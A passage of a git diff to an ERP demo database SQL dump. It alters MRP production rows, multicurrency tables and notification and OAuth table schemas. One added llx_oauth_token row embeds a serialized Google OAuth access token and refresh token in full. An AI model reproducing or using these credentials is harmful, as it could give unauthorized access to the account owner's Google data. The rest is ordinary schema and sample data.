17:54:12',12,NULL,NULL,NULL,NULL),(140,5,NULL,NULL,0,25,1,1,'','consumed',50,51,'2020-01-07 22:00:55','2020-01-07 18:00:55',12,NULL,NULL,NULL,NULL),(142,5,NULL,NULL,0,4,1,1,'','produced',49,52,'2020-01-07 22:00:55','2020-01-07 18:00:55',12,NULL,NULL,NULL,NULL),(143,14,NULL,NULL,0,25,1,1,'','consumed',53,53,'2020-01-07 22:39:52','2020-01-07 18:39:52',12,NULL,NULL,NULL,NULL),(144,14,NULL,NULL,0,3,NULL,1,'','consumed',54,NULL,'2020-01-07 22:39:52','2020-01-07 18:39:52',12,NULL,NULL,NULL,NULL),(145,14,NULL,NULL,0,4,1,2,'','produced',52,54,'2020-01-07 22:39:52','2020-01-07 18:39:52',12,NULL,NULL,NULL,NULL),(146,14,NULL,NULL,0,25,1,2,'','consumed',53,55,'2020-01-07 23:09:04','2020-01-07 19:09:04',12,NULL,NULL,NULL,NULL),(148,14,NULL,NULL,0,4,1,4,'','produced',52,56,'2020-01-07 23:09:04','2020-01-07 19:09:04',12,NULL,NULL,NULL,NULL),(149,5,NULL,NULL,0,25,1,1,'','consumed',50,57,'2020-01-07 23:50:40','2020-01-07 19:50:40',12,NULL,NULL,NULL,NULL),(152,5,NULL,NULL,0,25,1,1,'','consumed',50,59,'2020-01-07 23:51:27','2020-01-07 19:51:27',12,NULL,NULL,NULL,NULL),(161,5,NULL,NULL,0,25,1,1,'','consumed',50,63,'2020-01-08 00:29:24','2020-01-07 20:29:24',12,NULL,NULL,NULL,NULL),(167,5,NULL,NULL,0,25,1,1,'','consumed',50,66,'2020-01-08 01:09:15','2020-01-07 21:09:15',12,NULL,NULL,NULL,NULL),(170,5,NULL,NULL,0,25,1,1,'','consumed',50,68,'2020-01-08 01:15:02','2020-01-07 21:15:02',12,NULL,NULL,NULL,NULL),(171,5,NULL,NULL,0,25,1,1.1,'','consumed',50,69,'2020-01-08 01:17:16','2020-01-07 21:17:16',12,NULL,NULL,NULL,NULL),(172,22,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,NULL,NULL),(173,22,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,0,0),(174,22,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,0,1),(175,22,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,1,0),(176,22,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,0,0),(177,23,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,NULL,NULL),(178,23,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,0,0),(179,23,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,0,1),(180,23,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,1,0),(181,23,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,0,0),(182,24,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,NULL,NULL),(183,24,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,0,0),(184,24,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,0,1),(185,24,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,1,0),(186,24,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,0,0),(192,26,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,NULL,NULL),(193,26,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,0,0),(194,26,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,0,1),(195,26,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,1,0),(196,26,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,0,0),(197,27,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,NULL,NULL),(198,27,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,0,0),(199,27,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,0,1),(200,27,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,1,0),(201,27,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,0,0),(202,28,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,NULL,NULL),(203,28,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,0,0),(204,28,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,0,1),(205,28,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,1,0),(206,28,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,0,0),(207,28,NULL,NULL,0,25,1,1,'','consumed',203,70,'2020-01-08 20:21:22','2020-01-08 16:21:22',12,NULL,NULL,NULL,NULL),(210,28,NULL,NULL,0,1,1,1.1,'000000','consumed',206,73,'2020-01-08 20:41:18','2020-01-08 16:41:18',12,NULL,NULL,NULL,NULL),(211,28,NULL,NULL,0,4,1,1.2,'aaa','produced',202,74,'2020-01-08 20:41:19','2020-01-08 16:41:19',12,NULL,NULL,NULL,NULL),(212,24,NULL,NULL,0,25,1,1,'','consumed',183,75,'2020-01-13 15:13:19','2020-01-13 11:13:19',12,NULL,NULL,NULL,NULL),(213,24,NULL,NULL,0,1,1,0.1,'000000','consumed',186,76,'2020-01-13 15:14:15','2020-01-13 11:14:15',12,NULL,NULL,NULL,NULL); +INSERT INTO `llx_mrp_production` VALUES (13,8,NULL,NULL,1,3,NULL,1,NULL,'toproduce',NULL,NULL,'2019-12-20 17:01:21','2019-12-20 13:01:21',12,NULL,NULL,NULL,NULL),(14,8,NULL,NULL,0,25,NULL,4,NULL,'toconsume',NULL,NULL,'2019-12-20 17:01:21','2019-12-20 13:01:21',12,NULL,NULL,0,0),(15,8,NULL,NULL,0,3,NULL,1,NULL,'toconsume',NULL,NULL,'2019-12-20 17:01:21','2019-12-20 13:01:21',12,NULL,NULL,0,1),(49,5,NULL,NULL,1,4,NULL,3,NULL,'toproduce',NULL,NULL,'2019-12-20 20:32:00','2019-12-20 16:32:00',12,NULL,NULL,NULL,NULL),(50,5,NULL,NULL,0,25,NULL,12,NULL,'toconsume',NULL,NULL,'2019-12-20 20:32:00','2019-12-20 16:32:00',12,NULL,NULL,0,0),(51,5,NULL,NULL,0,3,NULL,3,NULL,'toconsume',NULL,NULL,'2019-12-20 20:32:00','2019-12-20 16:32:00',12,NULL,NULL,0,1),(52,14,NULL,NULL,1,4,NULL,10,NULL,'toproduce',NULL,NULL,'2020-01-02 23:46:54','2020-01-02 19:46:54',12,NULL,NULL,NULL,NULL),(53,14,NULL,NULL,0,25,NULL,40,NULL,'toconsume',NULL,NULL,'2020-01-02 23:46:54','2020-01-02 19:46:54',12,NULL,NULL,0,0),(54,14,NULL,NULL,0,3,NULL,10,NULL,'toconsume',NULL,NULL,'2020-01-02 23:46:54','2020-01-02 19:46:54',12,NULL,NULL,0,1),(68,18,NULL,NULL,1,4,NULL,2,NULL,'toproduce',NULL,NULL,'2020-01-03 14:10:33','2020-01-03 10:10:33',12,NULL,NULL,NULL,NULL),(69,18,NULL,NULL,1,25,NULL,8,NULL,'toconsume',NULL,NULL,'2020-01-03 14:10:33','2020-01-03 10:10:33',12,NULL,NULL,0,0),(70,18,NULL,NULL,3,3,NULL,2,NULL,'toconsume',NULL,NULL,'2020-01-03 14:10:33','2020-01-03 10:10:33',12,NULL,NULL,0,1),(71,18,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-03 14:10:33','2020-01-03 10:10:33',12,NULL,NULL,1,0),(93,5,NULL,NULL,0,25,1,12,'','consumed',50,23,'2020-01-06 05:44:30','2020-01-06 01:44:30',12,NULL,NULL,NULL,NULL),(95,5,NULL,NULL,0,4,2,3,'','produced',49,24,'2020-01-06 05:44:30','2020-01-06 01:44:30',12,NULL,NULL,NULL,NULL),(96,5,NULL,NULL,0,25,1,2,'','consumed',50,25,'2020-01-06 05:54:05','2020-01-06 01:54:05',12,NULL,NULL,NULL,NULL),(97,5,NULL,NULL,0,3,NULL,2,'','consumed',51,NULL,'2020-01-06 05:54:05','2020-01-06 01:54:05',12,NULL,NULL,NULL,NULL),(98,5,NULL,NULL,0,4,2,3,'','produced',49,26,'2020-01-06 05:54:05','2020-01-06 01:54:05',12,NULL,NULL,NULL,NULL),(99,14,NULL,NULL,0,25,1,1,'','consumed',53,27,'2020-01-06 06:44:49','2020-01-06 02:44:49',12,NULL,NULL,NULL,NULL),(100,14,NULL,NULL,0,3,NULL,10,'','consumed',54,NULL,'2020-01-06 06:44:49','2020-01-06 02:44:49',12,NULL,NULL,NULL,NULL),(101,14,NULL,NULL,0,4,1,1,'','produced',52,28,'2020-01-06 06:44:49','2020-01-06 02:44:49',12,NULL,NULL,NULL,NULL),(102,14,NULL,NULL,0,25,1,1,'','consumed',53,29,'2020-01-06 06:46:03','2020-01-06 02:46:03',12,NULL,NULL,NULL,NULL),(103,14,NULL,NULL,0,3,NULL,1,'','consumed',54,NULL,'2020-01-06 06:46:03','2020-01-06 02:46:03',12,NULL,NULL,NULL,NULL),(104,14,NULL,NULL,0,4,1,1,'','produced',52,30,'2020-01-06 06:46:03','2020-01-06 02:46:03',12,NULL,NULL,NULL,NULL),(105,14,NULL,NULL,0,25,1,1,'','consumed',53,31,'2020-01-06 06:48:22','2020-01-06 02:48:22',12,NULL,NULL,NULL,NULL),(106,14,NULL,NULL,0,3,NULL,1,'','consumed',54,NULL,'2020-01-06 06:48:22','2020-01-06 02:48:22',12,NULL,NULL,NULL,NULL),(107,14,NULL,NULL,0,4,1,1,'','produced',52,32,'2020-01-06 06:48:22','2020-01-06 02:48:22',12,NULL,NULL,NULL,NULL),(108,14,NULL,NULL,0,25,1,1,'','consumed',53,33,'2020-01-06 06:50:05','2020-01-06 02:50:05',12,NULL,NULL,NULL,NULL),(109,14,NULL,NULL,0,3,NULL,1,'','consumed',54,NULL,'2020-01-06 06:50:05','2020-01-06 02:50:05',12,NULL,NULL,NULL,NULL),(110,14,NULL,NULL,0,4,1,1,'','produced',52,34,'2020-01-06 06:50:05','2020-01-06 02:50:05',12,NULL,NULL,NULL,NULL),(111,5,NULL,NULL,0,25,1,2,'','consumed',50,35,'2020-01-07 20:25:02','2020-01-07 16:25:02',12,NULL,NULL,NULL,NULL),(112,5,NULL,NULL,0,3,NULL,1,'','consumed',51,NULL,'2020-01-07 20:25:02','2020-01-07 16:25:02',12,NULL,NULL,NULL,NULL),(113,5,NULL,NULL,0,4,2,1,'','produced',49,36,'2020-01-07 20:25:02','2020-01-07 16:25:02',12,NULL,NULL,NULL,NULL),(132,5,NULL,NULL,0,25,1,1,'','consumed',50,46,'2020-01-07 21:53:58','2020-01-07 17:53:58',12,NULL,NULL,NULL,NULL),(135,5,NULL,NULL,0,25,1,1,'','consumed',50,48,'2020-01-07 21:54:12','2020-01-07 17:54:12',12,NULL,NULL,NULL,NULL),(140,5,NULL,NULL,0,25,1,1,'','consumed',50,51,'2020-01-07 22:00:55','2020-01-07 18:00:55',12,NULL,NULL,NULL,NULL),(142,5,NULL,NULL,0,4,1,1,'','produced',49,52,'2020-01-07 22:00:55','2020-01-07 18:00:55',12,NULL,NULL,NULL,NULL),(143,14,NULL,NULL,0,25,1,1,'','consumed',53,53,'2020-01-07 22:39:52','2020-01-07 18:39:52',12,NULL,NULL,NULL,NULL),(144,14,NULL,NULL,0,3,NULL,1,'','consumed',54,NULL,'2020-01-07 22:39:52','2020-01-07 18:39:52',12,NULL,NULL,NULL,NULL),(145,14,NULL,NULL,0,4,1,2,'','produced',52,54,'2020-01-07 22:39:52','2020-01-07 18:39:52',12,NULL,NULL,NULL,NULL),(146,14,NULL,NULL,0,25,1,2,'','consumed',53,55,'2020-01-07 23:09:04','2020-01-07 19:09:04',12,NULL,NULL,NULL,NULL),(148,14,NULL,NULL,0,4,1,4,'','produced',52,56,'2020-01-07 23:09:04','2020-01-07 19:09:04',12,NULL,NULL,NULL,NULL),(149,5,NULL,NULL,0,25,1,1,'','consumed',50,57,'2020-01-07 23:50:40','2020-01-07 19:50:40',12,NULL,NULL,NULL,NULL),(152,5,NULL,NULL,0,25,1,1,'','consumed',50,59,'2020-01-07 23:51:27','2020-01-07 19:51:27',12,NULL,NULL,NULL,NULL),(161,5,NULL,NULL,0,25,1,1,'','consumed',50,63,'2020-01-08 00:29:24','2020-01-07 20:29:24',12,NULL,NULL,NULL,NULL),(167,5,NULL,NULL,0,25,1,1,'','consumed',50,66,'2020-01-08 01:09:15','2020-01-07 21:09:15',12,NULL,NULL,NULL,NULL),(170,5,NULL,NULL,0,25,1,1,'','consumed',50,68,'2020-01-08 01:15:02','2020-01-07 21:15:02',12,NULL,NULL,NULL,NULL),(171,5,NULL,NULL,0,25,1,1.1,'','consumed',50,69,'2020-01-08 01:17:16','2020-01-07 21:17:16',12,NULL,NULL,NULL,NULL),(172,22,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,NULL,NULL),(173,22,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,0,0),(174,22,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,0,1),(175,22,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,1,0),(176,22,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:42:15','2020-01-08 15:42:15',12,NULL,NULL,0,0),(177,23,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,NULL,NULL),(178,23,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,0,0),(179,23,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,0,1),(180,23,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,1,0),(181,23,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:45:04','2020-01-08 15:45:04',12,NULL,NULL,0,0),(182,24,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,NULL,NULL),(183,24,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,0,0),(184,24,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,0,1),(185,24,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,1,0),(186,24,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:46:41','2020-01-08 15:46:41',12,NULL,NULL,0,0),(192,26,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,NULL,NULL),(193,26,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,0,0),(194,26,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,0,1),(195,26,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,1,0),(196,26,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:22','2020-01-08 15:49:22',12,NULL,NULL,0,0),(197,27,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,NULL,NULL),(198,27,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,0,0),(199,27,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,0,1),(200,27,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,1,0),(201,27,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 19:49:50','2020-01-08 15:49:50',12,NULL,NULL,0,0),(202,28,NULL,NULL,1,4,NULL,1,NULL,'toproduce',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,NULL,NULL),(203,28,NULL,NULL,1,25,NULL,4,NULL,'toconsume',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,0,0),(204,28,NULL,NULL,3,3,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,0,1),(205,28,NULL,NULL,2,2,NULL,1,NULL,'toconsume',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,1,0),(206,28,NULL,NULL,0,1,NULL,3,NULL,'toconsume',NULL,NULL,'2020-01-08 20:09:40','2020-01-08 16:09:40',12,NULL,NULL,0,0),(207,28,NULL,NULL,0,25,1,1,'','consumed',203,70,'2020-01-08 20:21:22','2020-01-08 16:21:22',12,NULL,NULL,NULL,NULL),(210,28,NULL,NULL,0,1,1,1.1,'000000','consumed',206,73,'2020-01-08 20:41:18','2020-01-08 16:41:18',12,NULL,NULL,NULL,NULL),(211,28,NULL,NULL,0,4,1,1.2,'aaa','produced',202,74,'2020-01-08 20:41:19','2020-01-08 16:41:19',12,NULL,NULL,NULL,NULL),(212,24,NULL,NULL,0,25,1,1,'','consumed',183,75,'2020-01-13 15:13:19','2020-01-13 11:13:19',12,NULL,NULL,NULL,NULL),(213,24,NULL,NULL,0,1,1,0.1,'000000','consumed',186,76,'2020-01-13 15:14:15','2020-01-13 11:14:15',12,NULL,NULL,NULL,NULL),(214,22,NULL,'free',0,1,NULL,1,NULL,'toconsume',NULL,NULL,'2022-12-26 11:49:33','2022-12-26 11:49:33',12,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_mrp_production` ENABLE KEYS */; UNLOCK TABLES; @@ -9024,12 +8318,12 @@ DROP TABLE IF EXISTS `llx_multicurrency`; CREATE TABLE `llx_multicurrency` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `date_create` datetime DEFAULT NULL, - `code` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `name` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(255) DEFAULT NULL, + `name` varchar(255) DEFAULT NULL, `entity` int(11) DEFAULT 1, `fk_user` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9038,7 +8332,7 @@ CREATE TABLE `llx_multicurrency` ( LOCK TABLES `llx_multicurrency` WRITE; /*!40000 ALTER TABLE `llx_multicurrency` DISABLE KEYS */; -INSERT INTO `llx_multicurrency` VALUES (1,'2017-02-15 21:17:16','EUR','Euros (€)',1,12),(2,'2020-01-01 19:20:09','USD','US Dollars ($)',1,12); +INSERT INTO `llx_multicurrency` VALUES (1,'2017-02-15 21:17:16','EUR','Euros (€)',1,12),(2,'2020-01-01 19:20:09','USD','US Dollars ($)',1,12),(3,'2022-12-31 11:35:01','AED','United Arab Emirates Dirham (AED)',1,12); /*!40000 ALTER TABLE `llx_multicurrency` ENABLE KEYS */; UNLOCK TABLES; @@ -9056,7 +8350,7 @@ CREATE TABLE `llx_multicurrency_rate` ( `fk_multicurrency` int(11) NOT NULL, `entity` int(11) DEFAULT 1, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9065,7 +8359,7 @@ CREATE TABLE `llx_multicurrency_rate` ( LOCK TABLES `llx_multicurrency_rate` WRITE; /*!40000 ALTER TABLE `llx_multicurrency_rate` DISABLE KEYS */; -INSERT INTO `llx_multicurrency_rate` VALUES (1,'2017-02-15 21:17:16',1,1,1),(2,'2020-01-01 19:20:09',1.2,2,1); +INSERT INTO `llx_multicurrency_rate` VALUES (1,'2017-02-15 21:17:16',1,1,1),(2,'2020-01-01 19:20:09',1.2,2,1),(3,'2022-12-31 11:35:01',1.2,3,1),(4,'2022-12-31 00:00:00',1.3,2,1); /*!40000 ALTER TABLE `llx_multicurrency_rate` ENABLE KEYS */; UNLOCK TABLES; @@ -9084,11 +8378,11 @@ CREATE TABLE `llx_notify` ( `fk_soc` int(11) DEFAULT NULL, `fk_contact` int(11) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, - `objet_type` varchar(24) COLLATE utf8mb3_unicode_ci NOT NULL, + `objet_type` varchar(24) NOT NULL, `objet_id` int(11) NOT NULL, - `email` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `type` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT 'email', - `type_target` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email` varchar(255) DEFAULT NULL, + `type` varchar(16) DEFAULT 'email', + `type_target` varchar(16) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9117,7 +8411,7 @@ CREATE TABLE `llx_notify_def` ( `fk_soc` int(11) DEFAULT NULL, `fk_contact` int(11) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, - `type` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT 'email', + `type` varchar(16) DEFAULT 'email', PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9141,12 +8435,12 @@ DROP TABLE IF EXISTS `llx_notify_def_object`; CREATE TABLE `llx_notify_def_object` ( `id` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `objet_type` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `objet_type` varchar(16) DEFAULT NULL, `objet_id` int(11) NOT NULL, - `type_notif` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT 'browser', + `type_notif` varchar(16) DEFAULT 'browser', `date_notif` datetime DEFAULT NULL, `user_id` int(11) DEFAULT NULL, - `moreparam` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `moreparam` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9169,8 +8463,8 @@ DROP TABLE IF EXISTS `llx_oauth_state`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_oauth_state` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `service` varchar(36) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `state` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `service` varchar(36) DEFAULT NULL, + `state` varchar(128) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, `fk_adherent` int(11) DEFAULT NULL, `entity` int(11) DEFAULT NULL, @@ -9196,18 +8490,19 @@ DROP TABLE IF EXISTS `llx_oauth_token`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_oauth_token` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `service` varchar(36) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `token` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `service` varchar(36) DEFAULT NULL, + `token` text DEFAULT NULL, `fk_soc` int(11) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, `fk_adherent` int(11) DEFAULT NULL, `entity` int(11) DEFAULT NULL, - `tokenstring` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `restricted_ips` varchar(200) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `tokenstring` text DEFAULT NULL, + `state` text DEFAULT NULL, + `restricted_ips` varchar(200) DEFAULT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=26 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9216,6 +8511,7 @@ CREATE TABLE `llx_oauth_token` ( LOCK TABLES `llx_oauth_token` WRITE; /*!40000 ALTER TABLE `llx_oauth_token` DISABLE KEYS */; +INSERT INTO `llx_oauth_token` VALUES (5,'Google-bbb','O:33:\"OAuth\\OAuth2\\Token\\StdOAuth2Token\":4:{s:14:\"\0*\0accessToken\";s:213:\"ya29.a0AVvZVspOt6VbV__LcmVXJorqkcctfy5fIYrw75WO67fvPr5TEXsf_9Vyv3uuEmM5x2aHaHUVZyZT-ksOAvrMoIqUAMomVsLq9lfuTlnPqWLViZN9PtK6wjRqxWWPrIW5vx8_5W-tBnMkECI6nwUoZJiw1kIQOkAaCgYKAcISAQASFQGbdwaIxGW7tliRYKieCUJOyLDmpg0166\";s:15:\"\0*\0refreshToken\";s:103:\"1//03afP-2eKt8kACgYIARAAGAMSNwF-L9IrLBFL7IE-lJNkb7tEHGppNzxSScqUFdBZJxGKex5_0Ux3hZcImM6tjodn98orN5YI1oU\";s:12:\"\0*\0endOfLife\";i:1675817952;s:14:\"\0*\0extraParams\";a:3:{s:5:\"scope\";s:73:\"https://www.googleapis.com/auth/userinfo.profile 